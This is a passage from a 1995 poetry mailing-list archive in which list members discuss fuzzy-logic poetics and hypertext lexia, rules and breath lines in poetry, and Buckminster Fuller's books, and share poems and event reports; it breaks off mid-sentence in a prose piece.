Access to the lexia? Yes, it is more _marked_ here, i.e., there may be entire sequences of text that by some choice the reader makes, she will never arrive at. (Sort of like the standard film motif where pausing once at a newsstand throws your cosmic timing off so that you subsequently miss the chance bumping into your ideal mate by half a second. Thus you spend your life lonely.)

However, the tension of hypertext should not convince one that this partial lexia problem is limited to our technological space. Take for example the book - and here two instances. Lexical meanings of words the reader may miss because she does not know the word, does not relate to the association the writer has intended, or has a strong personal association that overrides the writer's. Second, thinking of references within texts to other texts, not everyone can leap out of bed and pick up a text which the author has just alluded to, to read the passage in context and pick up the contextual lexia that might possibly be the heart of the author's reference...

This is not a disagreement with the post cited below, simply some extensions of it into our common space.

I also wish to mention that RIF/T will issue, as part of its "associated files" feature, the first in a series of such online hypertextual works. This will be included in RIF/T's next issue (to appear within the next two weeks).

> *The concept of "a poetics of chaos or fuzzy logic" is not just a serious idea, it is an actuality. There is no "uncertainty principle" in a poem that appears in print in the sense that one is not in doubt as to whether a particular word or phrase does or does not occur in the poem. For hypertext or other forms of interactive work, the situation is quite different. There may be no guarantee that a reader will *arrive* at any given lexia. The software may or may not allow sequential access to "all" the lexia. So now we face the question: how do we know that a given phrase is actually present in the work? There is only a *probability* that it will be encountered. Fuzzy logic poetics is a very exact description of what happens here. The situation gets even more elaborate with algorithmically generated work like John Cayley's. Where the text is generated on the fly by an algorithm, uncertainty is even greater.*
>
> *[For those not familiar with hypertext rhetoric terminology, 'lexia' is a term borrowed by George Landow from Barthes to describe the "nodes" in a hypertext. Of course, some of us question the fixity of this concept.]*

↑ Index

282. **Steve Carll**

Re: Think the Reverse

Wed 21 Jun 1995

> *and, to say it again, who?*

I'm sorry ed, who what?

Steve

↑ Index

283. **Steve Carll**

rules: rule or suck?

Wed 21 Jun 1995

Hi all (and welcome Shaunanne):

Well, the world is marked by structure, and rules seem to "govern" structure. But structure is fluid, so the question is, when we break the rules of a particular structure, are we following a set of overarching rules governing the fluidity of structure? And if we are, can we live with such rules, since they allow us so

much freedom with regard to "subverting" the rules of the level we're more used to being oppressed by them on?

I think of rules as useful learning tools. It's true that some people's intuition in some areas allows them to leap over the need to learn this way, and that even those who do learn through rules will hopefully transcend the need for them. So maybe the only thing we need to require of rules is that they do open out somewhere and let us continue down our path on our own.

I think this may be what Carl's professor (and zen, for that matter) was trying to get at. Once we've been acculturated and internalized the culture's rules, we may need to work our way through them until we've exhausted their particular logic, and only then can we burst out of them.

BTW, great poems Herb Levy (love that editing) and Shaunanne (is the title related at all to the REM song, or should i be ashamed of myself for even asking?)

Steve

↑ Index

284. Steve Carll
bucky fuller
Wed 21 Jun 1995

Hey all:

I'm just remembering a book a friend from college long ago was excited on finding a copy of. It was a Bucky Fuller book which had 3 or 4 different narrative threads all running simultaneously in different parts of each page (e.g., one running across the center of each page, one in a different typeface in the upper right). Anyone know what book I mean and what it's called?

Steve

↑ Index

285. Marshall H. Reese
TV appearance
Wed 21 Jun 1995

Ligorano/Reese
67 Devoe Street, Bklyn, NY 11211

For Immediate Release Contact: Nora Ligorano/Marshall Reese
fax/phone [redacted]

Contract with America limited edition underwear to be featured on Lifetime Television's "Biggers & Summers" Talk Show

Artists Nora Ligorano and Marshall Reese will present their limited edition of "Contract with America" underwear on live television Friday, June 23 at 11:00 AM EST. Their appearance on Lifetime Television's new "Biggers & Summers" show will reach 64 Million viewers nationwide.

Since the inauguration of their highly successful limited edition "Contract with America" underwear, news stories about the artists have appeared in hundreds of newspapers, on radio and television across the country. The limited edition briefs even brought an official response from the Republican Party after the artists sent pairs to President Clinton, Senate Majority Leader Bob Dole, Speaker of the House Newt Gingrich and other elected officials in Washington, D.C.

The Associate Chief Counsel of the Republican National Committee wrote the artists Rto discontinue [their] unauthorized use of the Contract with America logo and text immediately.S The ACLU Arts Censorship Project and cooperating attorney Elizabeth McNamara of the law firm Lankenau, Kovner and Kurtz responded on behalf of the artists that Rthe art project is a classic example of political satire...The combined impression is clearly humorous, and obviously meant to parody the Contract with America."

The artists plan to print a second edition of 300 pairs of "Contract with America" underwear (200 mens and 100 womens). The second edition will sell for $50.00 per pair, plus $5.00 shipping and handling charges and New York state sales tax, where applicable.

The "Biggers & Summers" Show is cablecast on channel 12 in Manhattan and Brooklyn. It is rebroadcast on the West Coast at 11:00 AM Pacific coastal time, check local listings.

For more information contact Ligorano/Reese at [redacted].

↑ Index

286. Jim Rosenberg
Fuzzy Logic Poetics
Wed 21 Jun 1995

The concept of "a poetics of chaos or fuzzy logic" is not just a serious idea, it is an actuality. There is no "uncertainty principle" in a poem that appears in print in the sense that one is not in doubt as to whether a particular word or phrase does or does not occur in the poem. For hypertext or other forms of interactive work, the situation is quite different. There may be no guarantee that a reader will *arrive* at any given lexia. The software may or may not allow sequential

access to "all" the lexia. So now we face the question: how do we know that a given phrase is actually present in the work? There is only a *probability* that it will be encountered. Fuzzy logic poetics is a very exact description of what happens here. The situation gets even more elaborate with algorithmically generated work like John Cayley's. Where the text is generated on the fly by an algorithm, uncertainty is even greater.

[For those not familiar with hypertext rhetoric terminology, 'lexia' is a term borrowed by George Landow from Barthes to describe the "nodes" in a hypertext. Of course, some of us question the fixity of this concept.]

--

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

↑ Index

287. Carl Lynden Peters
Re: rules: rule or suck?
Wed 21 Jun 1995

> *I think this may be what Carl's professor (and zen, for that matter) was trying to get at. Once we've been acculturated and internalized the culture's rules, we may need to work our way through them until we've exhausted their particular logic, and only then can we burst out of them.*

hey, steve. the professor i referred to has had, continues to have, the strongest, deepest influence in both my creative life and on my aspirations to teach. i asked him once what influenced him the most in his teaching. "The military," he said. --he served 2 or 4 tours of duty in Vietnam

best,
carl

↑ Index

288. John Keeling
Re: bucky fuller
Wed 21 Jun 1995

> *Hey all:*
>
> *I'm just remembering a book a friend from college long ago was excited on finding a copy of. It was a Bucky Fuller book which had 3 or 4 different*

> *narrative threads all running simultaneously in different parts of each page (e.g., one running across the center of each page, one in a different typeface in the upper right). Anyone know what book I mean and what it's called?*

Hi Steve,

I believe you're referring to _I Seem To Be A Verb_, Bantam Books 1970.

--john

↑ Index

289. Carl Lynden Peters
Re: Mail List: Concrete
Wed 21 Jun 1995

Good morning, all!

--To all who expressed an interest in a mail list on concrete/visual, sound and performance poetry -- exellent: we've gotten a good response

Next step is to name it. what are your suggestions? i was talking with the computer guy here at sfu and the name _DADA Poetries_ came to mind. What would you prefer?

all the best,
carl

[redacted]

n.b.: cris, give me a call. thanks

↑ Index

290. Carl Lynden Peters
Re: Mail List: Concrete
Wed 21 Jun 1995

...or this: DADA-List-Poetries

DADA-List
dadalist
deadalus (can't sp it!)

into th' great wwwwwwwwwwide open~~~

↑ Index

291. **Herb Levy**
Re: rules: rule or suck?
Wed 21 Jun 1995

Steve -

> *BTW, great poems Herb Levy (love that editing)*

That wasn't a poem, I was just following a rule.

As I've said before, I'm not a poet (but I play one on TV).

Bests

Herb Levy
[redacted]

↑ Index

292. **Herb Levy**
Re: bucky fuller
Wed 21 Jun 1995

> *I'm just remembering a book a friend from college long ago was excited on finding a copy of. It was a Bucky Fuller book which had 3 or 4 different narrative threads all running simultaneously in different parts of each page (e.g., one running across the center of each page, one in a different typeface in the upper right). Anyone know what book I mean and what it's called?*

Steve -

I don't know Fuller's work very well, it might have been a book (can't remember the name right now) published by Something Else Press. But it really could be any one of several books, you'll have to look them over and see which one your friend had.

I thought of these off the top of my head, but, as I said, I don't know Fuller's work. I'm sure that others on the list could provide further (and/or better) references. (For instance, I recall another book like this by Fuller with the words <Hannah Weiner> in the title, but I'm blocking on the full title of it.)

<Panopticon by Steve McCaffery> by Buckminster Fuller

<Glas by Jacques Derrida> by Buckminster Fuller

and of course,

<_Homage to Creeley_>
<Explanatory Notes by Jack Spicer> by Buckminster Fuller

(There should be a full underline between the first three and the next two words of this title. This effect is not possible in terminal mode. Sorry.)

Bests,

Herb Levy
[redacted]

↑ Index

293. Jordan Davis.
wabbit season
Wed 21 Jun 1995

Hail Poetics

Loss Glazier wrote:
>"Fuzzy" also implies a lack of precision, which I
do not think is a fair critique of a poetic text.

Since we all seem to have respect for critique, could we start listing what constitutes "fair critique"? I would suggest that some quality like accuracy or precision can be attributed to a poem, and that someone who fancies that quality might miss it in a "vague" or "abstract" poem. I myself like vague and precise poems. However.

Also, Loss, is the interactive poem you mentioned the one compiled at the EPC? Would it be possible for future contributors to the poem to see where their lines go once they're written? (I mean, to access the poem in progress?)

With love
Jordan

↑ Index

294. Tony Green
show yr poem
Wed 21 Jun 1995

HERE is my poem

↑ Index

295. Ryan Knighton
Re: It's just that it reminds
Wed 21 Jun 1995

Here's to O'Hara and the bit of solace he's given me:

It's just that it reminds

God it must be 9:45 on a Tuesday
night bordering on evening at least
once a week in a lifetime of poetry
and once again i'm tipping my hat to the breeze
thinking bout those motes and tropes in the nooks of streets which
were somehow left behind. I didn't do it I think
and walk into Sophie's cause we agreed
it's the only place worth patronizing
for a muffin although I really want a donut
and I have coffee but it really isn't the same
as what I hoped for when I think of Sam's Diner
or an extinct species of time and place thereabouts.

I don't know where anyone else came from here
but when I was born I distinctly remember I thought
lab coats were lovely and it would be very pleasant
for us all to wear them and our first impressions
on our sleeves and so I open the paper hoping
to see you in the funny pages but you haven't even left
a note and I think how good Rex Morgan is looking
these days despite his strips irreverence for
novelty or thereabouts.

There's an Elvis impersonator outside
and two nylon kids are eating up to me
before giving the country the thumb and really
I just can't wait for Reg or George or someone
larger than this vinyl booth to shuffle in
and declare war on austerity in the service industry.

And I just have to say to Frank and his absence
that when I think about you somewhere
there is grace in living as variously as possible
although I usually can't help but feel full and fed up
since my eyes are too big for my stomach
and so to you I must ultimately confess in all sincerity that I shouldn't
have ordered
the cosmos when it wasn't mine.

↑ Index

296. Reginald Johanson
a devotional poem
Wed 21 Jun 1995

Chris--
I can't tell either. But at the very least I was in earnest about
wanting a devotional poem. And it is quits with Krishna, the fop.

↑ Index

297. Reginald Johanson
open mic
Wed 21 Jun 1995

21 Titles For the Open Mic

"A Desperate Cry for Help"

"I'm Going Straight To Hell"

"Boxes, Handbags, Lunchbuckets"

"I'm A Sorry Bastard"

"I'm A Suffering Bastard"

"Eggs"

"They Calls Me Iron John, Bitch"

"A Dipped Cone"

"Why I never Get Mail"

"Begging Your Pardon"

"Viva Existentialista"

"Generous Helpings and Large Portions"

"Bruce, Bob, and Jack in A Car Between Bakersfield and Vegas"

"Honey Can't You Be Persuaded"

"Baby When Will You Be Convinced"

"I'm Feeling Moody"

"Sweety Sooty Sweaty So and So"

"My Ugly Son, His Beautiful Wife"

"I'm Not Listening I want Your Boots"

"This Poem Isn't Really About Anything It's Just something I Thought About On The Bus On The Way Over Here Tonight I Don't Know It's About Suicide Or Masturbation Whatever You Get Out Of It"

↑ Index

298. **Ryan Knighton**
Re: rules and reverse thinking
Wed 21 Jun 1995

---

rules, schmules. well, that kinda follows one, don't it?

↑ Index

299. **maria damon**
Re: open mic
Wed 21 Jun 1995

---

hey everybody, in the coming year i'll be writing an essay on slams and open mike readings (sorry, i prefer that spelling cuz the other looks like it shd be sd "mick") and am interested in presenting your (selective, collective and singular) views, as "background," "foreground" (a la text collage) or points of disputatious analysis --a few folks hve said stuff, (I dig reginald johnson's list of titles, and some of the earlier discussion, plus i'm still waiting on responses to my gates/new yorker question. so send your thots and monologues either front or back channel for private consumption or mass/coterie entertainment.-- maria d

↑ Index

300. **Edward Foster**
Re: rules and reverse thinking
Wed 21 Jun 1995

---

yah, yah, yah, poetry doesn't have rules, sometimes it doesn't even have words.

↑ Index

301. **Edward Foster**
Re: rules
Wed 21 Jun 1995

---

the breath line is not a rule, dude, it's what you do; rules are things you break. yah, yah, yah.

↑ Index

302. **Edward Foster**
Re: Think the Reverse
Wed 21 Jun 1995

---

who what, steve? why?

↑ Index

303. **Tony Green**
Re: rules
Wed 21 Jun 1995

---

somewhere in an interview Ed Dorn made it clear he couldn't see how it could be a rule, this breath length sorry forgotten ch and verse

↑ Index

304. **Shaunanne Tangney**
Re: rules: rule or suck?
Wed 21 Jun 1995

On Wed, 21 Jun 1995, Steve Carll wrote:

> *BTW, great poems Herb Levy (love that editing) and Shaunanne (is the title related at all to the REM song, or should i be ashamed of myself for even asking?)*
>
> *Steve*

Thanks. No. No.
--ShaunAnne

↑ Index

305. **Shaunanne Tangney**
Re: open mic
Wed 21 Jun 1995

On Wed, 21 Jun 1995, Reginald Johanson wrote:

> *21 Titles For the Open Mic*
>
> *"A Desperate Cry for Help"*

ok--rookie on the list: what's the Open Mic?

Thanks!
ShaunAnne

↑ Index

306. **cris cheek**
Re: bucky fuller
Wed 21 Jun 1995

> *It was a Bucky Fuller book which had 3 or 4 different narrative threads all running simultaneously in different parts of each page (e.g., one running across the center of each page, one in a different typeface in the upper right). Anyone know what book I mean and what it's called?*
>
> *Steve*

R.Buckminster Fuller 'I Seem To Be A Verb' (Bantam 1970) fits the photofit Steve

The blurb reads 'R.Buckminster Fuller: Comprehensive designer, inventor, engineer, mathemetician, architect, cartographer, philosopher, poet, cosmologist, choreographer, visionary - celebrated for developing geodesic houses that fly and for dymaxion ways of living.'

written with Jerome Agel and Quentin Fiore

and prefaced with a quote - 'There's a smell of paint in here' (overheard at The Museum of Modern Art

I especially enjoy the cap on The
cris

↑ Index

307. **Burt Kimmelman**
Re: rules and reverse thinking
Wed 21 Jun 1995

---

beautiful poem, one that reminds me of oppen or bronk or rakosi or maybe niedecker.

↑ Index

308. **Burt Kimmelman**
Re: gates's sob
Wed 21 Jun 1995

I loved the gates piece (tho have only read the first half--obeying the rules of reading?); I think he makes a great journalist, and the rap poem he quotes was

great (def?), and the piece has reconciled my own struggles about rap as poetry and generally about high and low art etc. so i guess what i'm saying is that the piece came along for me at the right time.

i wish something could now reconcile my conflicted feelings about the tina brown stewardship (if that is what it is).

burt kimmelman
[redacted]

↑ Index

309. **Burt Kimmelman**
Re: Fuzzy Logic Poetics
Wed 21 Jun 1995

---

speaking of hypertext theory sources--have you read J. David Bolter's book Writing Space?

Anyway, c'mon! Physics is today's poetry--particle or cosmic--let's face it!

↑ Index

310. **Burt Kimmelman**
Re: Fuzzy Logic Poetics
Wed 21 Jun 1995

---

is fuzzy logic imprecise. is logic teleological by nature?

↑ Index

311. **Steve Carll**
Re: rules, reverse thinking, calvin, and cummings
Wed 21 Jun 1995

ShaunAnne writes:

> *I like the thoughts re: only not qualitfying a verb, and that why can't new physics be self-referential as was old physics--I ask in return, can anything be self-referential in the pomo, that is, to my mind, the here and now?*
> *Some might argue that we can only be self-referential. . .*
> *I'm interested in anyone's thoughts here.*

Good, cause I have some.. .:-)

I see postmodernism as distinguished by its self-conscious self-referentiality. I also see "the here and now as not reducible to the postmodern, specifically with regards to this discussion, in that it includes the self but doesn't refer all of what is back to the self.

> *I also think of Calvin (of comic strip fame) "verbing" words (like when you send something in any big city via bicycle messenger, you "messenger" it)--this seems distinctly pomo. I see the pomo as distinguished by a sense of timelessness; hence, verbing words seems so very appropriate.*

Yes, I liked that cartoon; what I thought was interesting was Hobbes' (and, I got the impression, Bill Watterson's) reaction, something to the effect that, with this attitude toward language, soon we won't be able to communicate through it anymore. And yet, as Cummings saw so clearly, this is one of the ways language generates new ways of communicating, and English is, it seems to me, particularly adept at the trick of "verbing". Cummings was trying, in his own words, "to undress one by one the soggy nouns whose agglomeration constitutes the mechanism of Normality, and finally to liberate the actual crisp organic squirm--the IS" (from "Gaston Lachaise", in _A Miscellany Revised_, October House, 1965, if anyone's interested.)

So it goes way back before pomo (unless you're using pomo as a synonym for what is "ahead of its time", or "avant-garde", or whatever.) What is pomo is the emphasis on shifting the parts of speech of words, part of the pomo project of blurring distinctions, although it's perfectly within the wider syntactic "rules" of the English language to do so in this fashion. But, I ramble...

Steve

↑ Index

312. **Steve Carll**
Re: rules
Wed 21 Jun 1995

> *By the way, is the rule when reading Olson that I have to draw a breath inward every time I drop down a line? Is the dizziness that results from hyperventilation when this is tried supposed to be part of the poem? Is it permissible to break Olson's rules while reading his rule-breaking poetry? Or is that against the rule?*
>
> *--what abt intention: Olson's intention that the poem be read that way (i.e., the breath line). would that constitute a rule?*

For that matter, are we breaking the rule by reading the poem silently to ourselves (no matter how we breathe) rather than aloud so the breath line actually means something?

Just thinking "aloud",
Steve

↑ Index

313. Alan Sondheim
Re: Fuzzy Logic Poetics
Wed 21 Jun 1995

fuzzy logic's precisely imprecise.

in set theory can refer to the degree of membership in a particular set or the potential of belonging to a particular set

On Wed, 21 Jun 1995, Burt Kimmelman [redacted] wrote:

> *is fuzzy logic imprecise. is logic teleological by nature?*

↑ Index

314. Charles Alexander
Re: rules and reverse thinking
Wed 21 Jun 1995

(with apologies to reginald johanson)

I want ecstatic loss, divinity

sketching the last bar

water and no grinning

in the dark waiting questions

collecting uncountable gods

and desire folding petals

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

315. Charles Alexander
Re: rules and reverse thinking
Thu 22 Jun 1995

> *bright lights big city! especially in the pastoral tradition, don't you think,*
> *where, like stein in paris, it takes a deracination to ignite the language...*
> *nice, charles. sorry i missed the other evening. how was it? i think a reply*
> *over the net (not backchannel) might actually be welcome since describing poetic*

> *events seems to be something we do well here and enjoy reading about --best, maria*

Maria, OK, farms into form . . .

Friday night was a treat. Gary Sullivan and Curt Anderson and Anthony Schlegel and Jonathan Brannen and Joel Kuszai and I all read works. Very boyish indeed, as Marta Deike and Cheri Hickman forgot to bring their works. I showed a video a group in Tucson, Video Art Network (there were some women in that collective who helped make this video, including one, the incomparable Nancy Solomon, whose stamp was evident), made as a response to a poem of mine. Jonathan Brannen read, entire, his marvelous Thing is an Anagram of Night, a densely philosophical work whose thinking is firmly from the ground up, desire and wonder making time with the universe. A few other non-poets were there as well, so the talk ranged from writing to love to philosophy (one current student working on Lacan and Deleuze had a lot to say) to music until about 2:30 in the morning. Cats and children joined in the reading (not planned, but not unwelcome) as well. Sorry you missed it, but I consider King Crimson a worthy alternative.

love,

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

316. Charles Alexander
Re: Night Swimming
Thu 22 Jun 1995

Shaunanne, your poem of the "measureless" is quite measured, from "not surface" to "surface," a distinctive poem about thinking being. Strangely physical and somehow also not at all physical, that unspoken "it" and the shivering stars.

Thanks

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

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317. Sheila E. Murphy
Re: rules and reverse thinking
Thu 22 Jun 1995

Charles, sounds like a GREAT night! Wish I could've been there. Reminds me of some of the great events you generated in Arizona. We miss you here!

Love,

Sheila

P.S. Did you tape this?

↑ Index

318. beard
Re: rules and reverse thinking
Thu 22 Jun 1995

Charles:

> *Tom , you talk of sestinas and haiku and elegies and that's all fine. When I said "what rules?" I meant to imply that no one is obliged to follow such defined forms, even though the departures from the farm may be what ignites the poem.*

In which case the question might not be "what rules?" but "which rules?". In reply to another post, language in its most utilitarian form is all about following rules (that's why I used a comma in this sentence, and didn't spell "rules" as "selur" or "roolz" or "gdztr"), and language in its more creative forms is about breaking rules.

Of course, all uses of language fall somewhere on the following/breaking continuum. One can write a prose poem that breaks all of the rules of "poetry" as a Georgian might have defined it, but still follows the rules of the English language. Or one could write a sound or concrete poem that follows none of the rules of language, but is still based upon a formal structure of some kind. Even aleatory poems are based upon some system of assigning dice throws (or whatever) to language elements.

> *One can, of course, and such poems can be dynamic. But I often find that the work I read again and again makes its own structures, so that part of the joy of reading is finding such structures, including how and when and why they are followed and not followed.*

Another post asked "Is reading finding rules?" I'd say that reading is some combination of finding/constructing rules. This is what human brains do extremely well - find rules in complex, initially confusing data.

> *But when is making it up*
> *oneself, it is difficult to think of the structures and forms one invents*
> *as rules or constraints, rather they seem more like methods or even,*
> *forbid, poetics.*

Rules/structures/constraints/patterns/methods/techniques/systems/poetics - maybe they're all the same thing?

Tom

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

319. Charles Alexander

Re: rules and reverse thinking

Thu 22 Jun 1995

On Wed, 21 Jun 1995 22:12:20 -0700,
Sheila E. Murphy <[redacted]> wrote:

>Charles, sounds like a GREAT night! Wish I could've been there. Reminds me
>of some of the great events you generated in Arizona. We miss you here!
>
>Love,
>
>Sheila
>
>P.S. Did you tape this?
>
>

Thanks, Sheila. I miss you here & miss Arizona here too (I probably sound like a broken record to people here, as I say that all the time, and it's true).

Yes, we taped it, with a centrally placed omnidirectional microphone, leaving tape on through video, intermittent conversation, everything. I haven't listened to it yet. It may be intolerable. I'll let you know.

all best,

c

charles alexander
chax press

minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

320. **John Lavagnino**
Re: Fuzzy Logic Poetics
Thu 22 Jun 1995

Q: What's the opposite of fuzzy logic?

A: Fussy logic.

↑ Index

321. **Chris Stroffolino**
Re: Fuzzy Logic Poetics
Thu 22 Jun 1995

---

oh kimmelman---okay--sure,physics may very well be one acceptable
poetry possibility--but don't IMPOSE IT on us--
"let's face it!"---or deface it-- cs.

↑ Index

322. **Hank Lazer**
Re: Fireworks at NYU Kerouac Conference
Thu 22 Jun 1995

Kevin--

From the hinterlands of Tuscaloosa, thanks, thanks, thanks, for your reports--
Blaserfest & the passed along Kerouac events.

Hank Lazer

↑ Index

323. **maria damon**
Re: rules and reverse thinking
Thu 22 Jun 1995

.
>
> Friday night was a treat. Gary Sullivan and Curt Anderson and Anthony
> Schlegel and Jonathan Brannen and Joel Kuszai and I all read works. Very
> boyish indeed, as Marta Deike and Cheri Hickman forgot to bring their
> works. I showed a video a group in Tucson, Video Art Network (there were

> some women in that collective who helped make this video, including one,
> the incomparable Nancy Solomon, whose stamp was evident), made as a
> response to a poem of mine. Jonathan Brannen read, entire, his marvelous
> Thing is an Anagram of Night, a densely philosophical work whose thinking
> is firmly from the ground up, desire and wonder making time with the
> universe. A few other non-poets were there as well, so the talk ranged from
> writing to love to philosophy (one current student working on Lacan and
> Deleuze had a lot to say) to music until about 2:30 in the morning. Cats
> and children joined in the reading (not planned, but not unwelcome) as
> well. Sorry you missed it, but I consider King Crimson a worthy alternative.
>
> love,
>
> charles
>
> charles alexander
>

charles thanks, what a rich description of what must have been a rich night. i do wish i'd been able to come, since i --unlike most of the friends i mentioned my evening w/ king crimson --didn't really know king c beyond a "sound" and a reputation as artsy and eccentric. i had fun too, though it took half-way into the show to really grok the spirit and truly come alive with the jive ("I DID") it was an anthropological experience, great people-watching, and of course, fripp belew and bruford and that bald guy are obviously really talented musicians. acid rock, as i realized when i went to see the long version of woodstock last year, is a specialized genre. tho as a kid i loved jefferson airplane, country joe, vanilla fudge (anyone remember their great cover of the supremes' you keep me hangin on, with oedipal ejaculations throughout ("mama? i'll be good...")) etc (the west coast sound rather than the brits) i can see how my elders would have felt mystified and excluded. king c: lots of lights and movement, lots of dramatic shifts of tone, fripp has a great voice too, kinda waily.

still, i'd have dug the equally (and less structured, it seems, as the state theatre had assigned seating) bacchanalian apollonian/dionysian thrill of your gathering.

love, maria

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324. **H. T. KIRBY-SMITH**
breath rules
Thu 22 Jun 1995

I think there is someone on this list who heard Olson read his poems. Did he actually stop and breath in at the end of each line?

↑ Index

325. **Robert Kelly**
Re: breath rules
Thu 22 Jun 1995

He did not.

RK

On Thu, 22 Jun 1995, H. T. KIRBY-SMITH wrote:

> *I think there is someone on this list who heard Olson read his poems.*
> *Did he actually stop and breath in at the end of each line?*

↑ Index

326. **Jim Rosenberg**
Re: Fuzzy Logic Poetics
Thu 22 Jun 1995

Loss Glazier:
> To me, the term "a poetics of fuzzy logic" is less than appealing.

Acutally, I don't really care for it myself, and am certainly *NOT* evangelizing for it; since the subject did come up -- in a context where some folks weren't sure whether the reference was "serious", I wanted to point out that the *concept* is out there, and yes it is serious.

> *Isn't fuzzy logic _in part_*
> *used to help you, say, find information when you don't quite know what*
> *you are asking for?)*

No. Fuzzy logic means a logic in which truth values are *probabilities* in the range 0 to 1 rather than integers, such as the usual *exactly* 0 or 1 of two-valued logic. The issue is: what are the implications for discourse if we can only assess to a given probability whether something is "there" in the work. This really does have a direct correlation to certain things in physics, where you may only be able to get a probability for a measurement.

> *As to whether a reader has access to the full lexia; depending on the*
> *designer of the system (aka writer) this is not a matter of chance,*

> *but squaring off to some of the assertions made by Landow and others, it is a matter of the author's _intention_. Yes, such an intention persists. What the text does allow is multiple possible readings; the degree of this multiplicity is in the author's hands (and partly in the software's).*

This is getting a bit confused. In every hypertext I've ever looked at, there was no issue of "partial access" to a lexia. Access is not at issue here. When a hypertext is large, the number of *paths* explodes exponentially. But the reader *arrives at* a lexia via a path. With linear writing, the only way a reader can fail to arrive at a given word is to give up -- or skip ahead. But in a hypertext, one can fail to arrive at a lexia by simply not having chosen a path that links its way there. The issue is not access but *coverage*. Most literary hypertexts give you no way of telling whether or not you've been to every lexia. That means anyone discussing a hypertext has only a *probability* that any given reader will happen to have encountered the lexia in question.

> *Take for example the book - and here two instances. Lexical meanings of words the reader may miss because she does not know the word, does not relate to the association the writer has intended, or has a strong personal association that overrides the writer's. Second, thinking of references within texts to other texts, not everyone can leap out of bed and pick up a text which the author has just alluded to, to read the passage in context and pick up the contextual lexia that might possibly be the heart of the author's reference...*

These are valid points. Lots of folks have argued that hypertext is more like linear writing than some of the polemic would have it, and vice versa; certainly intertextuality and hypertext are deeply related. Still, without trying to be too argumentative, there is more than just a difference of degree if the "uncertainty factor" is inherent and pervasive rather than the exception.

--

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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327. I.LIGHTMAN
Sappho
Thu 22 Jun 1995

Hallo all,

An old college friend recently told me at a wedding that Anvil Press, a quite conservative but fairly well-distributed British poetry press, is compiling, with her co-editorship, an anthology of Sappho translations through the centuries. They're quite weak, she tells me, on twentieth-century Sappho translations. I mentioned to her the book Safety, by Stephen Rodefer, that has some quite good slangy versions. Does anyone else know any, particularly by (those still claiming to be, Stephen) gay or lesbian or bisexual authors?

Best wishes

Ira Lightman

[redacted]

P.S. ShaunAnne, I liked your poem a lot, one of the ones I've most enjoyed on the list while I've been on it. The Buckminster Fuller references have interacted with editing I'm doing of a book to be brought out by Cris Cheek; as I was proofing the opening piece, something I wrote about painting and other things, I remembered Buckminster Fuller's rule: there is no "up" and "down" in universe, only "in" and "out" (ie an aeroplane doesn't go "up" into the sky, it goes "out" from the planet, at a longer radius, then "comes in to land" - one of the only bits of idiom Fuller approved of as post-flat-earth-language). I noticed, reading through my piece, that I'd used the line "its composite sunbeams bouncing off the north wall five feet up from the ground and the west wall three feet up from the ground". In other words I broke a rule I'd agreed to let Fuller bind me by; I edited this to "five feet out from the ground" and "three feet out from the ground". Interestingly, the body of the piece accomodates the change quite comfortably, indicating to me that my sense of space, and the construction of a description, has actually radically subconsciously altered; instead of merely being "pc" in vocabulary choice, which would perhaps be an example of rule-following that is missing the consciousness-raising or wider rationale of the rule, I have let a rule work its way in and change and make other rules around it. Anyway, I "reprint" the piece below, as I'm adding it to a section of my book entirely composed of pieces sent to POETICS, where it fits best - and thus it now fits even better....

METAPHORS FOR THE SPACE OF MUSIC

Being with an assumption that good can be shown to be the best possible course of interaction, to any new-born child, and add only as a rider that a new-born child may yet test your notion of good. Encourage and do not disapprove the thought-process of the child testing your notion of good, discuss it and let it grow as a thing of imagination in the theatre of your conversation, between you and the child. Thoughts are put into action too soon only because too many of us cannot incarnate a theatre of conversation, a place made by thought and only visible to thought and only by thought may we sit in it or walk its boards.

This is a shame. For in that theatre a new born-child may be so moved by thought. In a common way, all may too be moved by gesture and other language, but there is a cubist composition called thought which is suggested by all the gestures in a conversation (the conversation includes all we know of each other, including what we have elicited as likely true of what we hear and see reported of each other). The composition is not on one plane. It is a cubist composition, with time in it. In some gestures, the light is of such and such a quality, its composite sunbeams bouncing off the north wall five feet out from the ground and the west wall three feet out from the ground, so picking up the colours of those parts of the north wall and the west wall, themselves being absorbed by those parts of the north wall and the west wall and rebounding as from a mirror or from mud variably. In other gestures, the day has moved on, the sunbeams hit different walls or new parts of the same walls, less or more spongy, of new hue. In some gestures, the painter walks up to the sitter to a nearness of four feet. In other gestures, the painter walks back ten feet and eight feet to the right. On the flat surface of the composition, all the gestures are recorded, but not in (one idea of) proportion to each other. When it was early in the day, the painter, at a nearness of four feet, drew the sitter's left cheek as the light of that time of the day reflected on the sitter and the painter and the page; when it was later in the day, the painter, having walked ten feet backwards and eight feet to the right, drew the sitter's left eyebrow in the different light of that time of the day, on whatever part of the page seemed to the painter to invite that gesture to be drawn upon it. Thus the flat surface of the composition on the page at the end of the day had drawn upon it a line that had originated as a drawing of the sitter's left cheek and at the same time also drawn on it a line that had originated as a drawing of the sitter's left eyebrow; the latter line, on the flat page, was to the right and *below* the former line. The composition was not a photo-lookalike. It would be impossible to produce a photo that would look like the composition, although both might have been of the sitter. One could picture the sitter in her or his absence, by looking at the cubist composition, by taking each line into one's mind, imagining each minus or plus close-up, compensating for by adding to or subtracting from the saturation of light in the line, adjusting left and right on the colour spectrum for hue. One would not thus make a photo in one's mind. One would make a three-dimensional sculpture vibrating in time, the fourth dimension. One would massage either the sitter's head or, more accurately, the space exactly around the sitter's three-dimensional outline, with the mind not the hand, as if there were hands in the mind which there are. One would see light bouncing off the sitter, a whole day's refracted beams, of many lengths and hues. If one had oneself been the painter, one might hear all the sounds one had heard during that day, bouncing in from the world and on the recycled breath carrying the unique intonations and even sometimes formulations of that day. All moments

